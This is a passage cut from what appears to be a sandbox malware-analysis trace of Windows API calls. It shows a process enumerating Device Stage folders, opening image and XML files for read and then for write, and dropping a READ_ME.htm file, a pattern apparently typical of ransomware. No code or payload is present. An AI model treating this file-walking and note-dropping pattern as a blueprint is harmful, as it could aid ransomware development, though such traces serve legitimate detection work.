stage\\device\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f319660, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f319660, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.440] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.440] SetErrorMode (uMode=0x0) returned 0x1 [0140.440] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device", lpFilePart=0x0) returned 0x30 [0140.441] SetErrorMode (uMode=0x1) returned 0x0 [0140.441] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f319660, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f319660, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.441] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.441] SetErrorMode (uMode=0x0) returned 0x1 [0140.441] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpFilePart=0x0) returned 0x57 [0140.442] SetErrorMode (uMode=0x1) returned 0x0 [0140.442] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4eff9980, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4eff9980, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.442] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.442] SetErrorMode (uMode=0x0) returned 0x1 [0140.442] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpFilePart=0x0) returned 0x57 [0140.442] SetErrorMode (uMode=0x1) returned 0x0 [0140.443] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4eff9980, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4eff9980, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.443] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.443] SetErrorMode (uMode=0x0) returned 0x1 [0140.443] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", lpFilePart=0x0) returned 0x66 [0140.443] SetErrorMode (uMode=0x1) returned 0x0 [0140.444] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0140.444] SetErrorMode (uMode=0x0) returned 0x1 [0140.444] GetFileType (hFile=0x1d0) returned 0x1 [0140.444] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x1fad1 [0140.555] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", lpFilePart=0x0) returned 0x66 [0140.555] SetErrorMode (uMode=0x1) returned 0x0 [0140.556] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0140.570] SetErrorMode (uMode=0x0) returned 0x1 [0140.573] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", lpFilePart=0x0) returned 0x64 [0140.574] SetErrorMode (uMode=0x1) returned 0x0 [0140.574] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0140.574] GetFileType (hFile=0x1d0) returned 0x1 [0140.574] SetErrorMode (uMode=0x0) returned 0x1 [0140.574] GetFileType (hFile=0x1d0) returned 0x1 [0140.574] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0xb61 [0140.574] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a25dd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x2a25dd0*, lpNumberOfBytesRead=0x21d298*=0xb61, lpOverlapped=0x0) returned 1 [0140.576] CloseHandle (hObject=0x1d0) returned 1 [0140.659] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", lpFilePart=0x0) returned 0x64 [0140.659] SetErrorMode (uMode=0x1) returned 0x0 [0140.659] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0140.675] SetErrorMode (uMode=0x0) returned 0x1 [0140.678] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", lpFilePart=0x0) returned 0x62 [0140.678] SetErrorMode (uMode=0x1) returned 0x0 [0140.678] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0140.679] GetFileType (hFile=0x1d0) returned 0x1 [0140.679] SetErrorMode (uMode=0x0) returned 0x1 [0140.679] GetFileType (hFile=0x1d0) returned 0x1 [0140.679] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0xadc8 [0140.679] ReadFile (in: hFile=0x1d0, lpBuffer=0x290b3c0, nNumberOfBytesToRead=0xadc8, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x290b3c0*, lpNumberOfBytesRead=0x21d298*=0xadc8, lpOverlapped=0x0) returned 1 [0140.680] CloseHandle (hObject=0x1d0) returned 1 [0140.754] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", lpFilePart=0x0) returned 0x62 [0140.755] SetErrorMode (uMode=0x1) returned 0x0 [0140.755] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0140.758] SetErrorMode (uMode=0x0) returned 0x1 [0140.759] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", lpFilePart=0x0) returned 0x63 [0140.759] SetErrorMode (uMode=0x1) returned 0x0 [0140.759] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0140.759] GetFileType (hFile=0x1d0) returned 0x1 [0140.760] SetErrorMode (uMode=0x0) returned 0x1 [0140.760] GetFileType (hFile=0x1d0) returned 0x1 [0140.760] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x70c1 [0140.760] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a17ce0, nNumberOfBytesToRead=0x70c1, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x2a17ce0*, lpNumberOfBytesRead=0x21d298*=0x70c1, lpOverlapped=0x0) returned 1 [0140.761] CloseHandle (hObject=0x1d0) returned 1 [0140.836] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", lpFilePart=0x0) returned 0x63 [0140.836] SetErrorMode (uMode=0x1) returned 0x0 [0140.836] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0140.854] SetErrorMode (uMode=0x0) returned 0x1 [0140.873] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", lpFilePart=0x0) returned 0x64 [0140.873] SetErrorMode (uMode=0x1) returned 0x0 [0140.873] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0140.873] GetFileType (hFile=0x1d0) returned 0x1 [0140.874] SetErrorMode (uMode=0x0) returned 0x1 [0140.874] GetFileType (hFile=0x1d0) returned 0x1 [0140.874] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x99d3 [0140.874] ReadFile (in: hFile=0x1d0, lpBuffer=0x2929730, nNumberOfBytesToRead=0x99d3, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x2929730*, lpNumberOfBytesRead=0x21d298*=0x99d3, lpOverlapped=0x0) returned 1 [0140.875] CloseHandle (hObject=0x1d0) returned 1 [0140.944] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", lpFilePart=0x0) returned 0x64 [0140.944] SetErrorMode (uMode=0x1) returned 0x0 [0140.944] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0140.949] SetErrorMode (uMode=0x0) returned 0x1 [0140.950] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\READ_ME.htm", lpFilePart=0x0) returned 0x63 [0140.950] SetErrorMode (uMode=0x1) returned 0x0 [0140.950] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.951] GetFileType (hFile=0x1d0) returned 0x1 [0140.951] SetErrorMode (uMode=0x0) returned 0x1 [0140.951] GetFileType (hFile=0x1d0) returned 0x1 [0140.956] WriteFile (in: hFile=0x1d0, lpBuffer=0x2840010*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2840010*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0140.958] CloseHandle (hObject=0x1d0) returned 1 [0140.958] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", lpFilePart=0x0) returned 0x57 [0140.958] SetErrorMode (uMode=0x1) returned 0x0 [0140.959] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f2f3500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f2f3500, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.959] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f2f3500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f2f3500, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.959] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0af2f7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x9c0af2f7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x9c0af2f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0140.960] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2feb941, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2feb941, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x769, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0140.960] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f2f3500, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f2f3500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f319660, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.960] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1 [0140.960] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 0 [0140.960] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.960] SetErrorMode (uMode=0x0) returned 0x1 [0140.960] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", lpFilePart=0x0) returned 0x57 [0140.961] SetErrorMode (uMode=0x1) returned 0x0 [0140.961] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f2f3500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f2f3500, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.961] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f2f3500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f2f3500, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.961] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0af2f7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x9c0af2f7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x9c0af2f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0140.961] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2feb941, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2feb941, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x769, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0140.961] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f2f3500, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f2f3500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f319660, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.961] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1 [0140.962] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, 